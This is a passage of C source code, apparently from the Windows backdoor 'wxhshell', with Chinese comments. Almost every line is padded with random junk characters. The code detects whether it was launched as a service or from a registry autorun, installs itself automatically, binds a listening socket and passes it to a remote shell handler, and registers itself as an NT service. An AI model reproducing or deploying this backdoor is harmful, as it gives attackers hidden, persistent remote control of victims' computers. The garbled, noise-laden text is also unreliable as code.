DWORD BasePriority; 1me16 5y<B
ULONG UniqueProcessId; *wVWyC
ULONG InheritedFromUniqueProcessId; >YW_}kd
} PROCESS_BASIC_INFORMATION; 0]^ke:(#
~^pV>>LX|
PROCNTQSIP NtQueryInformationProcess; 1{7*0cv$iL
(*\*7dIo
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v08Xe*gNU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;`MKi5g
fu6Ir,
HANDLE hProcess; 57 eA(uI
PROCESS_BASIC_INFORMATION pbi; 5 U{}A\q
WTP~MJ#C
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l^*'W(%
if(NULL == hInst ) return 0; gx)!0n;
r @
IyK%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^u[n!R\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PQFr4EY?i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DU>#eR0G
o?l9$"\sqb
if (!NtQueryInformationProcess) return 0; Pn[R.u(l
lYt|C^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F7~T=X)1
if(!hProcess) return 0; AqHH^adzA:
0qUBt9rA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2En^su$
[ym
ynr3M
CloseHandle(hProcess); b _#r_`
!xz0zT.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]NrA2i?
if(hProcess==NULL) return 0; u= u#6%
^dF?MQA<@
HMODULE hMod; eURj'8o),
char procName[255]; :_y}8am;H~
unsigned long cbNeeded; CVyE5w
vw/L|b7G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >
R5<D'cEN
:6r)HJ5sg
CloseHandle(hProcess); jRCG}'
}JePEmj
if(strstr(procName,"services")) return 1; // 以服务启动 (s2ke
c0%.GcF0{
return 0; // 注册表启动 W%bzA11l
} p#eai
L)`SNN\ipR
// 主模块 wZ_k]{J
int StartWxhshell(LPSTR lpCmdLine) QC+K:jL
{ eJ3w}"?9s
SOCKET wsl; `x0GT\O2-
BOOL val=TRUE; <.yL&$9
int port=0; ..g?po
struct sockaddr_in door; ,xeJf6es
nr t3wqJ
if(wscfg.ws_autoins) Install(); r(#]Z
9+o`/lk1
port=atoi(lpCmdLine); .7|kxJq
#o]/&T=N=
if(port<=0) port=wscfg.ws_port; X!vBD
l&f"qF?
WSADATA data; '4""Gz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0$~zeG"
S?k G|y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C;C= g1I}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L93&.d@m9
door.sin_family = AF_INET; muc>4!Q
door.sin_addr.s_addr = inet_addr("127.0.0.1");
Pq@%MF]5
door.sin_port = htons(port); Av#_cL
u\9t+wi}<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `(rnD
closesocket(wsl); CPto?=*A
return 1; >*A"tk#oR
} AD ,
FXi"o
$N
if(listen(wsl,2) == INVALID_SOCKET) { B7^*xskH
closesocket(wsl); e{"r3*
return 1; mjwh40x.o
} O"D0+BK79e
Wxhshell(wsl); <^APq8>
WSACleanup();
hZ ve8J
dP0%<Q|
return 0; X{j`H\'L
t%`GXJb
} t[ Zoe+&
{|;5P.,l
// 以NT服务方式启动 ,W!v0*uxp&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <ETR6r
{ d0Jaa1b~O
DWORD status = 0; SGuLL+|W#8
DWORD specificError = 0xfffffff; *C(/2
gW[(gf.oo
serviceStatus.dwServiceType = SERVICE_WIN32; k{?Pgf27
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
9z9EK'g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w[bhm$SX]B
serviceStatus.dwWin32ExitCode = 0; [-*1M4D9
serviceStatus.dwServiceSpecificExitCode = 0; y$f{P:!"{3
serviceStatus.dwCheckPoint = 0; xMdbS4 &!
serviceStatus.dwWaitHint = 0; (H\)BS7#R
Y2)2
tzr]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U49#?^?
if (hServiceStatusHandle==0) return; am$-1+iX
^"g # !
status = GetLastError(); =%}++7#
if (status!=NO_ERROR) uTemAIp
$u
{ COF_a%
serviceStatus.dwCurrentState = SERVICE_STOPPED; /Lf+*u>"
serviceStatus.dwCheckPoint = 0; l Wa4X#~.
serviceStatus.dwWaitHint = 0; '_nJ DM
serviceStatus.dwWin32ExitCode = status; U',9t
serviceStatus.dwServiceSpecificExitCode = specificError; [M7&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [HV>4,,3"
return; 2Op\`Ht&
} wcdD i[E>i
sC/5N
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?W#>9WQi
serviceStatus.dwCheckPoint = 0; RW#&